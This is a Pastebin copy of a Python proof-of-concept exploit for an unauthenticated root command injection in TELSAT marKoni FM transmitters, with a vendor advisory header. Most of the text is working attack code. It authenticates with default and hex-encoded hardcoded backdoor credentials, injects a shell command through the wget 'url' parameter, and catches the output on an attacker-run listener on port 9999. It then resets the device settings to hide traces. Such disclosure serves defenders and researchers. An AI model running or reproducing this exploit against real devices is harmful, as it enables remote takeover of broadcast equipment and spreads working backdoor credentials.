Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- #
- #
- # TELSAT marKoni FM Transmitter 1.9.5 Root Command Injection PoC Exploit
- #
- #
- # Vendor: TELSAT Srl
- # Product web page: https://www.markoni.it
- # Affected version: Markoni-D (Compact) FM Transmitters
- # Markoni-DH (Exciter+Amplifiers) FM Transmitters
- # Markoni-A (Analogue Modulator) FM Transmitters
- # Firmware: 1.9.5
- # 1.9.3
- # 1.5.9
- # 1.4.6
- # 1.3.9
- #
- # Summary: Professional FM transmitters.
- #
- # Desc: The marKoni FM transmitters are susceptible to unauthenticated
- # remote code execution with root privileges. An attacker can exploit
- # a command injection vulnerability by manipulating the Email settings'
- # WAN IP info service, which utilizes the 'wget' module. This allows
- # the attacker to gain unauthorized access to the system with administrative
- # privileges by exploiting the 'url' parameter in the HTTP GET request
- # to ekafcgi.fcgi.
- #
- # -------------------------------------------------------------------------
- # [lqwrm@metalgear ~]# python yp.tiolpxe 10.0.8.3:88 backdoor 10.0.8.69 whoami
- # Authentication successful for backdoor
- # Injecting command: whoami
- # Listening on port 9999
- # ('10.0.8.3', 47302) called back
- # Received: root
- # Housekeeping...
- # Zya and thanks for stopping by!
- #
- # [lqwrm@metalgear ~]#
- #
- # -------------------------------------------------------------------------
- #
- # Tested on: GNU/Linux 3.10.53 (armv7l)
- # icorem6solox
- # lighttpd/1.4.33
- #
- #
- # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
- # Macedonian Information Security Research and Development Laboratory
- # Zero Science Lab - https://www.zeroscience.mk - @zeroscience
- #
- #
- # Advisory ID: ZSL-2024-5808
- # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5808.php
- #
- #
- # 10.11.2023
- #
- from colorama import init, Fore
- import re,os,sys,requests
- import socket,threading
- from time import sleep
- init()
- def just_listen_to_me(lport, cstop):
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.bind(("0.0.0.0", lport))
- s.listen(1)
- print("Listening on port " + str(lport))
- try:
- conn, addr = s.accept()
- print(addr, "called back")
- cstop.set()
- except socket.timeout:
- print("Call return timeout\nCheck your ports")
- conn.close()
- while True:
- try:
- odg = conn.recv(1771).decode()
- uam = re.search(r"User-Agent:\s*(.*)", odg)
- if uam:
- uav = uam.group(1)
- print(f"Received: {uav}")
- exit()
- else:
- print("No output for you")
- except:
- print("Housekeeping...")
- exit()
- s.close()
- def authenticate(ipaddr, option): #### Encrypted Shit ####_"
- auth_url = f"http://{ipaddr}" # oOoOoOoOoOoOoOoOoOoOoOo"
- ep = "/cgi-bin/ekafcgi.fcgi?OpCode=" ##################"
- if option == "user": ##################################"
- username = "\x75\x73\x65\x72" #####################"
- password = "\x75\x73\x65\x72" #####################"
- elif option == "admin": ###############################"
- username = "\x61\x64\x6D\x69\x6E" #################"
- password = "\x61\x64\x6D\x69\x6E" #################"
- elif option == "backdoor": ############################"
- username = "\x66\x61\x63\x74\x6F\x72\x79" #########"
- password = "\x69\x6E\x6F\x6B\x72\x61\x6D\x32\x35"#_"
- authp = {
- 'username': username,
- 'password': password
- }
- resp = requests.get(auth_url + ep + "1", params=authp)
- if "Set-Cookie" in resp.headers:
- print(f"Authentication successful for {option}")
- auth_cookie = resp.headers["Set-Cookie"].split(";")[0]
- return auth_cookie
- else:
- print(f"Authentication failed for {option}.")
- print("Try a different option.")
- return None
- def execute(ipaddr, cookie, command, listen_ip):
- print(f"Injecting command: {command}")
- ep = "/cgi-bin/ekafcgi.fcgi?OpCode="
- eden = f"http://{ipaddr}{ep}26¶m=wget&ena=1&url=-U%20%60{command}%60%20{listen_ip}:9999"
- dva = f"http://{ipaddr}{ep}27"
- tri = f"http://{ipaddr}{ep}26¶m=wget&ena=0&url="
- clear = f"http://{ipaddr}{ep}3&com1=203C%20001001"
- headers = {"Cookie": cookie}
- requests.get(eden, headers=headers)
- sleep(2)
- requests.get(dva, headers=headers)
- sleep(2)
- requests.get(tri, headers=headers)
- sleep(1)
- requests.get(clear, headers=headers)
- print("Zya and thanks for stopping by!")
- exit(0)
- def njaaah(text):
- columns = os.get_terminal_size().columns
- print(text.center(columns))
- zsl = "\033[91mWaddup!\033[0m" #Win64
- mrjox = f"""
- ________
- / \\
- / ____ \\
- | / 0 \\ |
- | \\______/ |
- \\____________/ {zsl}
- | |
- / \\
- / O \\
- | O \\
- | \\
- | \\
- |_________|
- """
- if len(sys.argv) != 5:
- print()
- print("This is a PoC script for the marKoni transmitters 0day")
- print("Usage: python yp.tiolpxe <target_ip:port> <option> <listen_ip> <command>")
- print("Option: 'user', 'admin', 'backdoor'")
- print("Default listening port: 9999")
- njaaah(mrjox)
- exit()
- ipaddr = sys.argv[1]
- opt = sys.argv[2]
- listen_ip = sys.argv[3]
- command = sys.argv[4]
- opt_map = {
- "admin" : "admin",
- "user" : "user",
- "backdoor" : "backdoor"
- }
- if opt in opt_map:
- auth_cookie = authenticate(ipaddr, opt_map[opt])
- if auth_cookie:
- cstop = threading.Event()
- lt = threading.Thread(target=just_listen_to_me, args=(9999, cstop))
- lt.start()
- execute(ipaddr, auth_cookie, command, listen_ip)
- cstop.set()
- lt.join()
- else:
- print("Invalid option.")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement